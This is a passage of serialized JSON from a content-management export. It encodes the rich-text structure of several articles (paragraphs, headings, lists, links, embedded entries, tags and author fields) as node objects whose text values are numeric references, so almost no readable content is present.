ks":45086,"value":41815,"nodeType":864},{},[],{"data":45088,"content":45089,"nodeType":860},{},[45090,45094],{"data":45091,"marks":45092,"value":41823,"nodeType":864},{},[45093],{"type":899},{"data":45095,"marks":45096,"value":41827,"nodeType":864},{},[],{"data":45098,"content":45099,"nodeType":860},{},[45100,45104],{"data":45101,"marks":45102,"value":41835,"nodeType":864},{},[45103],{"type":899},{"data":45105,"marks":45106,"value":41839,"nodeType":864},{},[],{"data":45108,"content":45111,"nodeType":996},{"target":45109},{"sys":45110},{"id":5895,"type":1001,"linkType":1002},[],{"data":45113,"content":45114,"nodeType":860},{},[45115],{"data":45116,"marks":45117,"value":41851,"nodeType":864},{},[],{"data":45119,"content":45120,"nodeType":1005},{},[],{"data":45122,"content":45123,"nodeType":1009},{},[45124],{"data":45125,"marks":45126,"value":41862,"nodeType":864},{},[45127],{"type":899},{"data":45129,"content":45130,"nodeType":860},{},[45131],{"data":45132,"marks":45133,"value":41869,"nodeType":864},{},[],{"data":45135,"content":45138,"nodeType":996},{"target":45136},{"sys":45137},{"id":41874,"type":1001,"linkType":1002},[],{"data":45140,"content":45141,"nodeType":860},{},[45142],{"data":45143,"marks":45144,"value":41882,"nodeType":864},{},[],{"data":45146,"content":45147,"nodeType":860},{},[45148],{"data":45149,"marks":45150,"value":41889,"nodeType":864},{},[],{"data":45152,"content":45153,"nodeType":941},{},[45154,45170,45186,45202,45218,45231],{"data":45155,"content":45156,"nodeType":945},{},[45157],{"data":45158,"content":45159,"nodeType":860},{},[45160,45163,45167],{"data":45161,"marks":45162,"value":41902,"nodeType":864},{},[],{"data":45164,"marks":45165,"value":41247,"nodeType":864},{},[45166],{"type":899},{"data":45168,"marks":45169,"value":41910,"nodeType":864},{},[],{"data":45171,"content":45172,"nodeType":945},{},[45173],{"data":45174,"content":45175,"nodeType":860},{},[45176,45179,45183],{"data":45177,"marks":45178,"value":41920,"nodeType":864},{},[],{"data":45180,"marks":45181,"value":41925,"nodeType":864},{},[45182],{"type":899},{"data":45184,"marks":45185,"value":41929,"nodeType":864},{},[],{"data":45187,"content":45188,"nodeType":945},{},[45189],{"data":45190,"content":45191,"nodeType":860},{},[45192,45195,45199],{"data":45193,"marks":45194,"value":41939,"nodeType":864},{},[],{"data":45196,"marks":45197,"value":41944,"nodeType":864},{},[45198],{"type":899},{"data":45200,"marks":45201,"value":41948,"nodeType":864},{},[],{"data":45203,"content":45204,"nodeType":945},{},[45205],{"data":45206,"content":45207,"nodeType":860},{},[45208,45211,45215],{"data":45209,"marks":45210,"value":41958,"nodeType":864},{},[],{"data":45212,"marks":45213,"value":41963,"nodeType":864},{},[45214],{"type":899},{"data":45216,"marks":45217,"value":41967,"nodeType":864},{},[],{"data":45219,"content":45220,"nodeType":945},{},[45221],{"data":45222,"content":45223,"nodeType":860},{},[45224,45228],{"data":45225,"marks":45226,"value":11789,"nodeType":864},{},[45227],{"type":899},{"data":45229,"marks":45230,"value":41981,"nodeType":864},{},[],{"data":45232,"content":45233,"nodeType":945},{},[45234],{"data":45235,"content":45236,"nodeType":860},{},[45237,45241],{"data":45238,"marks":45239,"value":41992,"nodeType":864},{},[45240],{"type":899},{"data":45242,"marks":45243,"value":41996,"nodeType":864},{},[],{"data":45245,"content":45246,"nodeType":860},{},[45247],{"data":45248,"marks":45249,"value":42003,"nodeType":864},{},[],{"data":45251,"content":45252,"nodeType":1005},{},[],{"data":45254,"content":45255,"nodeType":1312},{},[45256],{"data":45257,"marks":45258,"value":42014,"nodeType":864},{},[45259],{"type":899},{"data":45261,"content":45262,"nodeType":860},{},[45263],{"data":45264,"marks":45265,"value":42021,"nodeType":864},{},[],{"data":45267,"content":45268,"nodeType":941},{},[45269,45282,45295,45308],{"data":45270,"content":45271,"nodeType":945},{},[45272],{"data":45273,"content":45274,"nodeType":860},{},[45275,45278],{"data":45276,"marks":45277,"value":42034,"nodeType":864},{},[],{"data":45279,"marks":45280,"value":42039,"nodeType":864},{},[45281],{"type":899},{"data":45283,"content":45284,"nodeType":945},{},[45285],{"data":45286,"content":45287,"nodeType":860},{},[45288,45291],{"data":45289,"marks":45290,"value":42049,"nodeType":864},{},[],{"data":45292,"marks":45293,"value":42054,"nodeType":864},{},[45294],{"type":899},{"data":45296,"content":45297,"nodeType":945},{},[45298],{"data":45299,"content":45300,"nodeType":860},{},[45301,45304],{"data":45302,"marks":45303,"value":42064,"nodeType":864},{},[],{"data":45305,"marks":45306,"value":42069,"nodeType":864},{},[45307],{"type":899},{"data":45309,"content":45310,"nodeType":945},{},[45311],{"data":45312,"content":45313,"nodeType":860},{},[45314,45317],{"data":45315,"marks":45316,"value":42079,"nodeType":864},{},[],{"data":45318,"marks":45319,"value":42084,"nodeType":864},{},[45320],{"type":899},{"data":45322,"content":45323,"nodeType":860},{},[45324,45327,45331],{"data":45325,"marks":45326,"value":42091,"nodeType":864},{},[],{"data":45328,"marks":45329,"value":42096,"nodeType":864},{},[45330],{"type":899},{"data":45332,"marks":45333,"value":42100,"nodeType":864},{},[],{"data":45335,"content":45338,"nodeType":996},{"target":45336},{"sys":45337},{"id":42105,"type":1001,"linkType":1002},[],{"data":45340,"content":45341,"nodeType":860},{},[45342],{"data":45343,"marks":45344,"value":42113,"nodeType":864},{},[],{"data":45346,"content":45347,"nodeType":1005},{},[],{"data":45349,"content":45350,"nodeType":1009},{},[45351],{"data":45352,"marks":45353,"value":42124,"nodeType":864},{},[45354],{"type":899},{"data":45356,"content":45357,"nodeType":860},{},[45358],{"data":45359,"marks":45360,"value":42131,"nodeType":864},{},[],{"data":45362,"content":45363,"nodeType":1312},{},[45364],{"data":45365,"marks":45366,"value":42139,"nodeType":864},{},[45367],{"type":899},{"data":45369,"content":45370,"nodeType":860},{},[45371],{"data":45372,"marks":45373,"value":42146,"nodeType":864},{},[],{"data":45375,"content":45376,"nodeType":860},{},[45377],{"data":45378,"marks":45379,"value":42153,"nodeType":864},{},[],{"data":45381,"content":45382,"nodeType":860},{},[45383,45386,45392,45395,45402],{"data":45384,"marks":45385,"value":42160,"nodeType":864},{},[],{"data":45387,"content":45388,"nodeType":883},{"uri":2561},[45389],{"data":45390,"marks":45391,"value":42167,"nodeType":864},{},[],{"data":45393,"marks":45394,"value":42171,"nodeType":864},{},[],{"data":45396,"content":45397,"nodeType":883},{"uri":42174},[45398],{"data":45399,"marks":45400,"value":42180,"nodeType":864},{},[45401],{"type":1455},{"data":45403,"marks":45404,"value":42184,"nodeType":864},{},[],{"data":45406,"content":45407,"nodeType":860},{},[45408],{"data":45409,"marks":45410,"value":42191,"nodeType":864},{},[],{"data":45412,"content":45413,"nodeType":1312},{},[45414],{"data":45415,"marks":45416,"value":42199,"nodeType":864},{},[45417],{"type":899},{"data":45419,"content":45420,"nodeType":860},{},[45421],{"data":45422,"marks":45423,"value":42206,"nodeType":864},{},[],{"data":45425,"content":45426,"nodeType":860},{},[45427],{"data":45428,"marks":45429,"value":42213,"nodeType":864},{},[],{"data":45431,"content":45432,"nodeType":860},{},[45433],{"data":45434,"marks":45435,"value":42220,"nodeType":864},{},[],{"data":45437,"content":45438,"nodeType":1312},{},[45439],{"data":45440,"marks":45441,"value":42228,"nodeType":864},{},[45442],{"type":899},{"data":45444,"content":45445,"nodeType":860},{},[45446],{"data":45447,"marks":45448,"value":42235,"nodeType":864},{},[],{"data":45450,"content":45451,"nodeType":860},{},[45452],{"data":45453,"marks":45454,"value":42242,"nodeType":864},{},[],{"data":45456,"content":45457,"nodeType":860},{},[45458],{"data":45459,"marks":45460,"value":42249,"nodeType":864},{},[],{"data":45462,"content":45463,"nodeType":1005},{},[],{"data":45465,"content":45466,"nodeType":1009},{},[45467],{"data":45468,"marks":45469,"value":42260,"nodeType":864},{},[45470],{"type":899},{"data":45472,"content":45473,"nodeType":860},{},[45474,45478],{"data":45475,"marks":45476,"value":42268,"nodeType":864},{},[45477],{"type":899},{"data":45479,"marks":45480,"value":42272,"nodeType":864},{},[],{"data":45482,"content":45483,"nodeType":860},{},[45484],{"data":45485,"marks":45486,"value":42279,"nodeType":864},{},[],{"data":45488,"content":45489,"nodeType":860},{},[45490],{"data":45491,"marks":45492,"value":42286,"nodeType":864},{},[],{"data":45494,"content":45495,"nodeType":1312},{},[45496],{"data":45497,"marks":45498,"value":42294,"nodeType":864},{},[45499],{"type":899},{"data":45501,"content":45502,"nodeType":860},{},[45503],{"data":45504,"marks":45505,"value":42301,"nodeType":864},{},[],{"data":45507,"content":45508,"nodeType":860},{},[45509],{"data":45510,"marks":45511,"value":42308,"nodeType":864},{},[],{"data":45513,"content":45514,"nodeType":1312},{},[45515],{"data":45516,"marks":45517,"value":42316,"nodeType":864},{},[45518],{"type":899},{"data":45520,"content":45521,"nodeType":860},{},[45522],{"data":45523,"marks":45524,"value":42323,"nodeType":864},{},[],{"data":45526,"content":45527,"nodeType":941},{},[45528,45541,45554,45567],{"data":45529,"content":45530,"nodeType":945},{},[45531],{"data":45532,"content":45533,"nodeType":860},{},[45534,45538],{"data":45535,"marks":45536,"value":42337,"nodeType":864},{},[45537],{"type":899},{"data":45539,"marks":45540,"value":42341,"nodeType":864},{},[],{"data":45542,"content":45543,"nodeType":945},{},[45544],{"data":45545,"content":45546,"nodeType":860},{},[45547,45551],{"data":45548,"marks":45549,"value":42352,"nodeType":864},{},[45550],{"type":899},{"data":45552,"marks":45553,"value":42356,"nodeType":864},{},[],{"data":45555,"content":45556,"nodeType":945},{},[45557],{"data":45558,"content":45559,"nodeType":860},{},[45560,45564],{"data":45561,"marks":45562,"value":42367,"nodeType":864},{},[45563],{"type":899},{"data":45565,"marks":45566,"value":42371,"nodeType":864},{},[],{"data":45568,"content":45569,"nodeType":945},{},[45570],{"data":45571,"content":45572,"nodeType":860},{},[45573,45577],{"data":45574,"marks":45575,"value":42382,"nodeType":864},{},[45576],{"type":899},{"data":45578,"marks":45579,"value":42386,"nodeType":864},{},[],{"data":45581,"content":45582,"nodeType":860},{},[45583,45586,45590],{"data":45584,"marks":45585,"value":42393,"nodeType":864},{},[],{"data":45587,"marks":45588,"value":42398,"nodeType":864},{},[45589],{"type":899},{"data":45591,"marks":45592,"value":42402,"nodeType":864},{},[],{"data":45594,"content":45595,"nodeType":860},{},[45596,45599,45605],{"data":45597,"marks":45598,"value":42409,"nodeType":864},{},[],{"data":45600,"content":45601,"nodeType":883},{"uri":3210},[45602],{"data":45603,"marks":45604,"value":42416,"nodeType":864},{},[],{"data":45606,"marks":45607,"value":42420,"nodeType":864},{},[],{"data":45609,"content":45610,"nodeType":1312},{},[45611],{"data":45612,"marks":45613,"value":42428,"nodeType":864},{},[45614],{"type":899},{"data":45616,"content":45617,"nodeType":860},{},[45618],{"data":45619,"marks":45620,"value":42435,"nodeType":864},{},[],{"data":45622,"content":45623,"nodeType":860},{},[45624],{"data":45625,"marks":45626,"value":42443,"nodeType":864},{},[45627],{"type":899},{"data":45629,"content":45630,"nodeType":860},{},[45631],{"data":45632,"marks":45633,"value":42450,"nodeType":864},{},[],{"data":45635,"content":45636,"nodeType":860},{},[45637],{"data":45638,"marks":45639,"value":42457,"nodeType":864},{},[],{"data":45641,"content":45642,"nodeType":860},{},[45643],{"data":45644,"marks":45645,"value":42464,"nodeType":864},{},[],{"data":45647,"content":45650,"nodeType":996},{"target":45648},{"sys":45649},{"id":42469,"type":1001,"linkType":1002},[],{"data":45652,"content":45653,"nodeType":1312},{},[45654],{"data":45655,"marks":45656,"value":42478,"nodeType":864},{},[45657],{"type":899},{"data":45659,"content":45660,"nodeType":860},{},[45661],{"data":45662,"marks":45663,"value":42485,"nodeType":864},{},[],{"data":45665,"content":45666,"nodeType":860},{},[45667],{"data":45668,"marks":45669,"value":42492,"nodeType":864},{},[],{"data":45671,"content":45674,"nodeType":996},{"target":45672},{"sys":45673},{"id":42497,"type":1001,"linkType":1002},[],{"data":45676,"content":45677,"nodeType":860},{},[45678],{"data":45679,"marks":45680,"value":42505,"nodeType":864},{},[],{"data":45682,"content":45683,"nodeType":860},{},[45684],{"data":45685,"marks":45686,"value":42512,"nodeType":864},{},[],{"data":45688,"content":45689,"nodeType":860},{},[45690],{"data":45691,"marks":45692,"value":42519,"nodeType":864},{},[],{"data":45694,"content":45697,"nodeType":996},{"target":45695},{"sys":45696},{"id":42524,"type":1001,"linkType":1002},[],{"data":45699,"content":45700,"nodeType":860},{},[45701],{"data":45702,"marks":45703,"value":21,"nodeType":864},{},[],{"items":45705},[45706,45708],{"sys":45707,"name":297},{"id":2732},{"sys":45709,"name":2729},{"id":2728},{"items":45711},[45712],{"fullName":4878,"firstName":4879,"jobTitle":851,"profilePicture":45713},{"url":4881},{"__typename":2059,"sys":45715,"content":45716,"title":14028,"synopsis":14029,"hashTags":59,"publishedDate":14030,"slug":14031,"tagsCollection":46146,"authorsCollection":46152},{"id":13522},{"json":45717},{"data":45718,"content":45719,"nodeType":856},{},[45720,45727,45751,45756,45762,45777,45790,45793,45800,45813,45829,45849,45854,45867,45891,45896,45901,45914,45917,45924,45930,45937,45953,45966,45973,45995,46001,46008,46032,46038,46045,46051,46056,46059,46066,46072,46079,46084,46087,46094,46100,46106,46112,46122,46125,46131],{"data":45721,"content":45722,"nodeType":1009},{},[45723],{"data":45724,"marks":45725,"value":13534,"nodeType":864},{},[45726],{"type":899},{"data":45728,"content":45729,"nodeType":860},{},[45730,45733,45739,45742,45748],{"data":45731,"marks":45732,"value":13541,"nodeType":864},{},[],{"data":45734,"content":45735,"nodeType":883},{"uri":13544},[45736],{"data":45737,"marks":45738,"value":13549,"nodeType":864},{},[],{"data":45740,"marks":45741,"value":13553,"nodeType":864},{},[],{"data":45743,"content":45744,"nodeType":883},{"uri":13556},[45745],{"data":45746,"marks":45747,"value":13561,"nodeType":864},{},[],{"data":45749,"marks":45750,"value":13565,"nodeType":864},{},[],{"data":45752,"content":45755,"nodeType":996},{"target":45753},{"sys":45754},{"id":13570,"type":1001,"linkType":1002},[],{"data":45757,"content":45758,"nodeType":860},{},[45759],{"data":45760,"marks":45761,"value":13578,"nodeType":864},{},[],{"data":45763,"content":45764,"nodeType":860},{},[45765,45768,45774],{"data":45766,"marks":45767,"value":13585,"nodeType":864},{},[],{"data":45769,"content":45770,"nodeType":883},{"uri":13588},[45771],{"data":45772,"marks":45773,"value":13593,"nodeType":864},{},[],{"data":45775,"marks":45776,"value":13597,"nodeType":864},{},[],{"data":45778,"content":45779,"nodeType":860},{},[45780,45783,45787],{"data":45781,"marks":45782,"value":13604,"nodeType":864},{},[],{"data":45784,"marks":45785,"value":13609,"nodeType":864},{},[45786],{"type":899},{"data":45788,"marks":45789,"value":2924,"nodeType":864},{},[],{"data":45791,"content":45792,"nodeType":1005},{},[],{"data":45794,"content":45795,"nodeType":1009},{},[45796],{"data":45797,"marks":45798,"value":13623,"nodeType":864},{},[45799],{"type":899},{"data":45801,"content":45802,"nodeType":860},{},[45803,45806,45810],{"data":45804,"marks":45805,"value":13630,"nodeType":864},{},[],{"data":45807,"marks":45808,"value":13635,"nodeType":864},{},[45809],{"type":2246},{"data":45811,"marks":45812,"value":2924,"nodeType":864},{},[],{"data":45814,"content":45815,"nodeType":860},{},[45816,45819,45826],{"data":45817,"marks":45818,"value":13645,"nodeType":864},{},[],{"data":45820,"content":45821,"nodeType":883},{"uri":13366},[45822],{"data":45823,"marks":45824,"value":13653,"nodeType":864},{},[45825],{"type":1455},{"data":45827,"marks":45828,"value":13657,"nodeType":864},{},[],{"data":45830,"content":45831,"nodeType":860},{},[45832,45835,45839,45842,45846],{"data":45833,"marks":45834,"value":13664,"nodeType":864},{},[],{"data":45836,"marks":45837,"value":13669,"nodeType":864},{},[45838],{"type":899},{"data":45840,"marks":45841,"value":13673,"nodeType":864},{},[],{"data":45843,"marks":45844,"value":13678,"nodeType":864},{},[45845],{"type":2246},{"data":45847,"marks":45848,"value":13682,"nodeType":864},{},[],{"data":45850,"content":45853,"nodeType":996},{"target":45851},{"sys":45852},{"id":13687,"type":1001,"linkType":1002},[],{"data":45855,"content":45856,"nodeType":860},{},[45857,45860,45864],{"data":45858,"marks":45859,"value":13695,"nodeType":864},{},[],{"data":45861,"marks":45862,"value":13700,"nodeType":864},{},[45863],{"type":899},{"data":45865,"marks":45866,"value":13704,"nodeType":864},{},[],{"data":45868,"content":45869,"nodeType":860},{},[45870,45873,45879,45882,45888],{"data":45871,"marks":45872,"value":13711,"nodeType":864},{},[],{"data":45874,"content":45875,"nodeType":883},{"uri":13714},[45876],{"data":45877,"marks":45878,"value":13719,"nodeType":864},{},[],{"data":45880,"marks":45881,"value":13723,"nodeType":864},{},[],{"data":45883,"content":45884,"nodeType":883},{"uri":13726},[45885],{"data":45886,"marks":45887,"value":13731,"nodeType":864},{},[],{"data":45889,"marks":45890,"value":1774,"nodeType":864},{},[],{"data":45892,"content":45895,"nodeType":996},{"target":45893},{"sys":45894},{"id":13739,"type":1001,"linkType":1002},[],{"data":45897,"content":45900,"nodeType":996},{"target":45898},{"sys":45899},{"id":13745,"type":1001,"linkType":1002},[],{"data":45902,"content":45903,"nodeType":860},{},[45904,45907,45911],{"data":45905,"marks":45906,"value":13753,"nodeType":864},{},[],{"data":45908,"marks":45909,"value":13758,"nodeType":864},{},[45910],{"type":899},{"data":45912,"marks":45913,"value":13762,"nodeType":864},{},[],{"data":45915,"content":45916,"nodeType":1005},{},[],{"data":45918,"content":45919,"nodeType":1009},{},[45920],{"data":45921,"marks":45922,"value":13773,"nodeType":864},{},[45923],{"type":899},{"data":45925,"content":45926,"nodeType":860},{},[45927],{"data":45928,"marks":45929,"value":13780,"nodeType":864},{},[],{"data":45931,"content":45932,"nodeType":1312},{},[45933],{"data":45934,"marks":45935,"value":13788,"nodeType":864},{},[45936],{"type":899},{"data":45938,"content":45939,"nodeType":860},{},[45940,45943,45950],{"data":45941,"marks":45942,"value":21,"nodeType":864},{},[],{"data":45944,"content":45945,"nodeType":883},{"uri":4103},[45946],{"data":45947,"marks":45948,"value":13802,"nodeType":864},{},[45949],{"type":1455},{"data":45951,"marks":45952,"value":13806,"nodeType":864},{},[],{"data":45954,"content":45955,"nodeType":860},{},[45956,45959,45963],{"data":45957,"marks":45958,"value":13813,"nodeType":864},{},[],{"data":45960,"marks":45961,"value":13818,"nodeType":864},{},[45962],{"type":899},{"data":45964,"marks":45965,"value":13822,"nodeType":864},{},[],{"data":45967,"content":45968,"nodeType":1312},{},[45969],{"data":45970,"marks":45971,"value":288,"nodeType":864},{},[45972],{"type":899},{"data":45974,"content":45975,"nodeType":860},{},[45976,45980,45988,45992],{"data":45977,"marks":45978,"value":21,"nodeType":864},{},[45979],{"type":899},{"data":45981,"content":45982,"nodeType":883},{"uri":2411},[45983],{"data":45984,"marks":45985,"value":13845,"nodeType":864},{},[45986,45987],{"type":1455},{"type":899},{"data":45989,"marks":45990,"value":13850,"nodeType":864},{},[45991],{"type":899},{"data":45993,"marks":45994,"value":13854,"nodeType":864},{},[],{"data":45996,"content":45997,"nodeType":860},{},[45998],{"data":45999,"marks":46000,"value":13861,"nodeType":864},{},[],{"data":46002,"content":46003,"nodeType":1312},{},[46004],{"data":46005,"marks":46006,"value":13869,"nodeType":864},{},[46007],{"type":899},{"data":46009,"content":46010,"nodeType":860},{},[46011,46014,46020,46023,46029],{"data":46012,"marks":46013,"value":13876,"nodeType":864},{},[],{"data":46015,"content":46016,"nodeType":883},{"uri":5971},[46017],{"data":46018,"marks":46019,"value":13883,"nodeType":864},{},[],{"data":46021,"marks":46022,"value":13887,"nodeType":864},{},[],{"data":46024,"content":46025,"nodeType":883},{"uri":3237},[46026],{"data":46027,"marks":46028,"value":13894,"nodeType":864},{},[],{"data":46030,"marks":46031,"value":13898,"nodeType":864},{},[],{"data":46033,"content":46034,"nodeType":860},{},[46035],{"data":46036,"marks":46037,"value":13905,"nodeType":864},{},[],{"data":46039,"content":46040,"nodeType":1312},{},[46041],{"data":46042,"marks":46043,"value":13913,"nodeType":864},{},[46044],{"type":899},{"data":46046,"content":46047,"nodeType":860},{},[46048],{"data":46049,"marks":46050,"value":13920,"nodeType":864},{},[],{"data":46052,"content":46055,"nodeType":996},{"target":46053},{"sys":46054},{"id":13925,"type":1001,"linkType":1002},[],{"data":46057,"content":46058,"nodeType":1005},{},[],{"data":46060,"content":46061,"nodeType":1009},{},[46062],{"data":46063,"marks":46064,"value":13937,"nodeType":864},{},[46065],{"type":899},{"data":46067,"content":46068,"nodeType":860},{},[46069],{"data":46070,"marks":46071,"value":13944,"nodeType":864},{},[],{"data":46073,"content":46074,"nodeType":860},{},[46075],{"data":46076,"marks":46077,"value":13952,"nodeType":864},{},[46078],{"type":899},{"data":46080,"content":46083,"nodeType":996},{"target":46081},{"sys":46082},{"id":13957,"type":1001,"linkType":1002},[],{"data":46085,"content":46086,"nodeType":1005},{},[],{"data":46088,"content":46089,"nodeType":1312},{},[46090],{"data":46091,"marks":46092,"value":13969,"nodeType":864},{},[46093],{"type":899},{"data":46095,"content":46096,"nodeType":860},{},[46097],{"data":46098,"marks":46099,"value":13976,"nodeType":864},{},[],{"data":46101,"content":46102,"nodeType":860},{},[46103],{"data":46104,"marks":46105,"value":13983,"nodeType":864},{},[],{"data":46107,"content":46108,"nodeType":860},{},[46109],{"data":46110,"marks":46111,"value":13990,"nodeType":864},{},[],{"data":46113,"content":46114,"nodeType":860},{},[46115,46119],{"data":46116,"marks":46117,"value":13998,"nodeType":864},{},[46118],{"type":899},{"data":46120,"marks":46121,"value":14002,"nodeType":864},{},[],{"data":46123,"content":46124,"nodeType":1005},{},[],{"data":46126,"content":46127,"nodeType":860},{},[46128],{"data":46129,"marks":46130,"value":4855,"nodeType":864},{},[],{"data":46132,"content":46133,"nodeType":860},{},[46134,46137,46143],{"data":46135,"marks":46136,"value":14018,"nodeType":864},{},[],{"data":46138,"content":46139,"nodeType":883},{"uri":12501},[46140],{"data":46141,"marks":46142,"value":8163,"nodeType":864},{},[],{"data":46144,"marks":46145,"value":2719,"nodeType":864},{},[],{"items":46147},[46148,46150],{"sys":46149,"name":2729},{"id":2728},{"sys":46151,"name":342},{"id":6596},{"items":46153},[46154],{"fullName":3621,"firstName":3622,"jobTitle":3623,"profilePicture":46155},{"url":3625},{"__typename":2059,"sys":46157,"content":46158,"title":35658,"synopsis":35659,"hashTags":59,"publishedDate":6586,"slug":35660,"tagsCollection":46979,"authorsCollection":46985},{"id":34695},{"json":46159},{"data":46160,"content":46161,"nodeType":856},{},[46162,46184,46208,46241,46274,46279,46289,46292,46299,46341,46347,46366,46371,46374,46381,46405,46411,46418,46423,46426,46433,46439,46454,46460,46493,46499,46502,46509,46524,46566,46569,46576,46591,46606,46613,46619,46629,46639,46649,46659,46674,46681,46687,46690,46696,46702,46717,46720,46727,46742,46973],{"data":46163,"content":46164,"nodeType":860},{},[46165,46168,46174,46177,46181],{"data":46166,"marks":46167,"value":34706,"nodeType":864},{},[],{"data":46169,"content":46170,"nodeType":883},{"uri":6237},[46171],{"data":46172,"marks":46173,"value":6242,"nodeType":864},{},[],{"data":46175,"marks":46176,"value":34716,"nodeType":864},{},[],{"data":46178,"marks":46179,"value":34721,"nodeType":864},{},[46180],{"type":899},{"data":46182,"marks":46183,"value":34725,"nodeType":864},{},[],{"data":46185,"content":46186,"nodeType":860},{},[46187,46190,46196,46199,46205],{"data":46188,"marks":46189,"value":34732,"nodeType":864},{},[],{"data":46191,"content":46192,"nodeType":883},{"uri":34735},[46193],{"data":46194,"marks":46195,"value":34740,"nodeType":864},{},[],{"data":46197,"marks":46198,"value":34744,"nodeType":864},{},[],{"data":46200,"content":46201,"nodeType":883},{"uri":34747},[46202],{"data":46203,"marks":46204,"value":34752,"nodeType":864},{},[],{"data":46206,"marks":46207,"value":34756,"nodeType":864},{},[],{"data":46209,"content":46210,"nodeType":860},{},[46211,46214,46220,46223,46229,46232,46238],{"data":46212,"marks":46213,"value":34763,"nodeType":864},{},[],{"data":46215,"content":46216,"nodeType":883},{"uri":34766},[46217],{"data":46218,"marks":46219,"value":34771,"nodeType":864},{},[],{"data":46221,"marks":46222,"value":34775,"nodeType":864},{},[],{"data":46224,"content":46225,"nodeType":883},{"uri":34778},[46226],{"data":46227,"marks":46228,"value":34783,"nodeType":864},{},[],{"data":46230,"marks":46231,"value":34787,"nodeType":864},{},[],{"data":46233,"content":46234,"nodeType":883},{"uri":34790},[46235],{"data":46236,"marks":46237,"value":34795,"nodeType":864},{},[],{"data":46239,"marks":46240,"value":34799,"nodeType":864},{},[],{"data":46242,"content":46243,"nodeType":860},{},[46244,46247,46253,46256,46262,46265,46271],{"data":46245,"marks":46246,"value":34806,"nodeType":864},{},[],{"data":46248,"content":46249,"nodeType":883},{"uri":34809},[46250],{"data":46251,"marks":46252,"value":34814,"nodeType":864},{},[],{"data":46254,"marks":46255,"value":34818,"nodeType":864},{},[],{"data":46257,"content":46258,"nodeType":883},{"uri":34821},[46259],{"data":46260,"marks":46261,"value":34826,"nodeType":864},{},[],{"data":46263,"marks":46264,"value":34830,"nodeType":864},{},[],{"data":46266,"content":46267,"nodeType":883},{"uri":34833},[46268],{"data":46269,"marks":46270,"value":34838,"nodeType":864},{},[],{"data":46272,"marks":46273,"value":34842,"nodeType":864},{},[],{"data":46275,"content":46278,"nodeType":996},{"target":46276},{"sys":46277},{"id":34847,"type":1001,"linkType":1002},[],{"data":46280,"content":46281,"nodeType":860},{},[46282,46286],{"data":46283,"marks":46284,"value":34856,"nodeType":864},{},[46285],{"type":899},{"data":46287,"marks":46288,"value":34860,"nodeType":864},{},[],{"data":46290,"content":46291,"nodeType":1005},{},[],{"data":46293,"content":46294,"nodeType":1009},{},[46295],{"data":46296,"marks":46297,"value":34871,"nodeType":864},{},[46298],{"type":899},{"data":46300,"content":46301,"nodeType":860},{},[46302,46305,46311,46314,46320,46323,46329,46332,46338],{"data":46303,"marks":46304,"value":34878,"nodeType":864},{},[],{"data":46306,"content":46307,"nodeType":883},{"uri":26962},[46308],{"data":46309,"marks":46310,"value":34885,"nodeType":864},{},[],{"data":46312,"marks":46313,"value":34889,"nodeType":864},{},[],{"data":46315,"content":46316,"nodeType":883},{"uri":34892},[46317],{"data":46318,"marks":46319,"value":34897,"nodeType":864},{},[],{"data":46321,"marks":46322,"value":34901,"nodeType":864},{},[],{"data":46324,"content":46325,"nodeType":883},{"uri":34778},[46326],{"data":46327,"marks":46328,"value":34908,"nodeType":864},{},[],{"data":46330,"marks":46331,"value":34912,"nodeType":864},{},[],{"data":46333,"content":46334,"nodeType":883},{"uri":15592},[46335],{"data":46336,"marks":46337,"value":34919,"nodeType":864},{},[],{"data":46339,"marks":46340,"value":2924,"nodeType":864},{},[],{"data":46342,"content":46343,"nodeType":860},{},[46344],{"data":46345,"marks":46346,"value":34929,"nodeType":864},{},[],{"data":46348,"content":46349,"nodeType":860},{},[46350,46353,46359,46362],{"data":46351,"marks":46352,"value":34936,"nodeType":864},{},[],{"data":46354,"content":46355,"nodeType":883},{"uri":15592},[46356],{"data":46357,"marks":46358,"value":34943,"nodeType":864},{},[],{"data":46360,"marks":46361,"value":34947,"nodeType":864},{},[],{"data":46363,"marks":46364,"value":34952,"nodeType":864},{},[46365],{"type":899},{"data":46367,"content":46370,"nodeType":996},{"target":46368},{"sys":46369},{"id":34957,"type":1001,"linkType":1002},[],{"data":46372,"content":46373,"nodeType":1005},{},[],{"data":46375,"content":46376,"nodeType":1009},{},[46377],{"data":46378,"marks":46379,"value":34969,"nodeType":864},{},[46380],{"type":899},{"data":46382,"content":46383,"nodeType":860},{},[46384,46387,46393,46396,46402],{"data":46385,"marks":46386,"value":2761,"nodeType":864},{},[],{"data":46388,"content":46389,"nodeType":883},{"uri":6259},[46390],{"data":46391,"marks":46392,"value":34982,"nodeType":864},{},[],{"data":46394,"marks":46395,"value":34986,"nodeType":864},{},[],{"data":46397,"content":46398,"nodeType":883},{"uri":34790},[46399],{"data":46400,"marks":46401,"value":34993,"nodeType":864},{},[],{"data":46403,"marks":46404,"value":34997,"nodeType":864},{},[],{"data":46406,"content":46407,"nodeType":860},{},[46408],{"data":46409,"marks":46410,"value":35004,"nodeType":864},{},[],{"data":46412,"content":46413,"nodeType":860},{},[46414],{"data":46415,"marks":46416,"value":35012,"nodeType":864},{},[46417],{"type":899},{"data":46419,"content":46422,"nodeType":996},{"target":46420},{"sys":46421},{"id":35017,"type":1001,"linkType":1002},[],{"data":46424,"content":46425,"nodeType":1005},{},[],{"data":46427,"content":46428,"nodeType":1009},{},[46429],{"data":46430,"marks":46431,"value":35029,"nodeType":864},{},[46432],{"type":899},{"data":46434,"content":46435,"nodeType":860},{},[46436],{"data":46437,"marks":46438,"value":35036,"nodeType":864},{},[],{"data":46440,"content":46441,"nodeType":860},{},[46442,46445,46451],{"data":46443,"marks":46444,"value":2761,"nodeType":864},{},[],{"data":46446,"content":46447,"nodeType":883},{"uri":35045},[46448],{"data":46449,"marks":46450,"value":35050,"nodeType":864},{},[],{"data":46452,"marks":46453,"value":35054,"nodeType":864},{},[],{"data":46455,"content":46456,"nodeType":860},{},[46457],{"data":46458,"marks":46459,"value":35061,"nodeType":864},{},[],{"data":46461,"content":46462,"nodeType":860},{},[46463,46466,46472,46475,46481,46484,46490],{"data":46464,"marks":46465,"value":35068,"nodeType":864},{},[],{"data":46467,"content":46468,"nodeType":883},{"uri":35071},[46469],{"data":46470,"marks":46471,"value":35076,"nodeType":864},{},[],{"data":46473,"marks":46474,"value":35080,"nodeType":864},{},[],{"data":46476,"content":46477,"nodeType":883},{"uri":35083},[46478],{"data":46479,"marks":46480,"value":35088,"nodeType":864},{},[],{"data":46482,"marks":46483,"value":35092,"nodeType":864},{},[],{"data":46485,"content":46486,"nodeType":883},{"uri":4103},[46487],{"data":46488,"marks":46489,"value":35099,"nodeType":864}